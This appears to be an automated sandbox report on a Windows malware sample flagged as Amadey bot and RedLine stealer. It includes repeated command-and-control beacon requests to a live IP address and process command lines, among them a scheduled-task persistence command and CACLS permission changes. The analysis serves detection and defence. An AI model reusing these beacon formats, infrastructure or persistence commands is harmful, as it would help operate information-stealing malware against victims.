Feb 7, 2023 23:07:24.432492018 CET	202	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:24.495655060 CET	202	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.7	49783	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:24.676198006 CET	203	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:24.739541054 CET	203	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.7	49784	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:24.915414095 CET	204	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:24.980734110 CET	204	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.7	49703	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:03.736813068 CET	113	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:03.801440954 CET	113	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.7	49785	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:25.161286116 CET	205	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:25.226727962 CET	205	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.7	49786	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:25.415635109 CET	206	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:25.483971119 CET	206	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.7	49787	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:25.659773111 CET	207	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:25.722987890 CET	207	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.7	49788	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:25.894311905 CET	208	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:25.960613012 CET	208	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.7	49789	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:26.125134945 CET	209	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:26.188009024 CET	209	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.7	49790	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:26.361222029 CET	210	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:26.424854040 CET	210	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.7	49791	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:26.598223925 CET	211	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:26.663130999 CET	211	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.7	49792	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:26.828356981 CET	212	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:26.890578032 CET	212	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.7	49793	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:27.063291073 CET	213	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:27.125319004 CET	213	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.7	49794	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:27.299792051 CET	214	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:27.364953995 CET	214	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: file.exePID: 616, Parent PID: 3320

General

Target ID:	0
Start time:	23:06:26
Start date:	07/02/2023
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\file.exe
Imagebase:	0x3d0000
File size:	538112 bytes
MD5 hash:	F4B906685385629998FAA352A94A2E1F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.254673704.0000000004709000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: bPsg.exePID: 984, Parent PID: 616

General

Target ID:	1
Start time:	23:06:26
Start date:	07/02/2023
Path:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\bPsg.exe
Imagebase:	0xf30000
File size:	347136 bytes
MD5 hash:	F0D05D7896B3839E5CFBCC78E4FD87FF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 55%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: aPsf.exePID: 4764, Parent PID: 984

General

Target ID:	2
Start time:	23:06:27
Start date:	07/02/2023
Path:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\aPsf.exe
Imagebase:	0x400000
File size:	251904 bytes
MD5 hash:	5DD55AE0E5CCD8EF2E82679ED0FC11C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000002.00000002.292364966.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000002.00000002.292364966.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000002.00000002.292171350.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000002.00000002.292171350.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Author: ditekSHen Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000002.00000002.292530050.00000000006F7000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000002.00000003.267977277.0000000000690000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000002.00000003.267977277.0000000000690000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 5316, Parent PID: 3320

General

Target ID:	3
Start time:	23:06:38
Start date:	07/02/2023
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\
Imagebase:	0x7ff61b080000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: nika.exePID: 604, Parent PID: 984

General

Target ID:	7
Start time:	23:06:45
Start date:	07/02/2023
Path:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\nika.exe
Imagebase:	0xd40000
File size:	11264 bytes
MD5 hash:	7E93BACBBC33E6652E147E7FE07572A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 82%, ReversingLabs
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 4736, Parent PID: 3320

General

Target ID:	9
Start time:	23:06:47
Start date:	07/02/2023
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\
Imagebase:	0x7ff61b080000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: xriv.exePID: 3596, Parent PID: 616

General

Target ID:	14
Start time:	23:06:57
Start date:	07/02/2023
Path:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\xriv.exe
Imagebase:	0x1200000
File size:	241664 bytes
MD5 hash:	8BB923C4D81284DAEF7896E5682DF6C6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000000.319942123.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 81%, ReversingLabs
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: mnolyk.exePID: 6136, Parent PID: 3596

General

Target ID:	15
Start time:	23:06:57
Start date:	07/02/2023
Path:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe"
Imagebase:	0x1b0000
File size:	241664 bytes
MD5 hash:	8BB923C4D81284DAEF7896E5682DF6C6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000002.776200491.00000000001B1000.00000020.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000000.321018621.00000000001B1000.00000020.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 0000000F.00000002.776777410.0000000000F78000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 0000000F.00000002.776777410.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 81%, ReversingLabs
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 6024, Parent PID: 6136

General

Target ID:	16
Start time:	23:06:58
Start date:	07/02/2023
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe" /F
Imagebase:	0x180000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6044, Parent PID: 6024

General

Target ID:	17
Start time:	23:06:58
Start date:	07/02/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6edaf0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 6068, Parent PID: 6136

General

Target ID:	18
Start time:	23:06:58
Start date:	07/02/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "mnolyk.exe" /P "user:N"&&CACLS "mnolyk.exe" /P "user:R" /E&&echo Y\|CACLS "..\4b9a106e76" /P "user:N"&&CACLS "..\4b9a106e76" /P "user:R" /E&&Exit
Imagebase:	0xa60000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6088, Parent PID: 6068

General

Target ID:	19
Start time:	23:06:58
Start date:	07/02/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6edaf0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 768, Parent PID: 6068

General

Target ID:	20
Start time:	23:06:58
Start date:	07/02/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo Y"
Imagebase:	0xa60000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

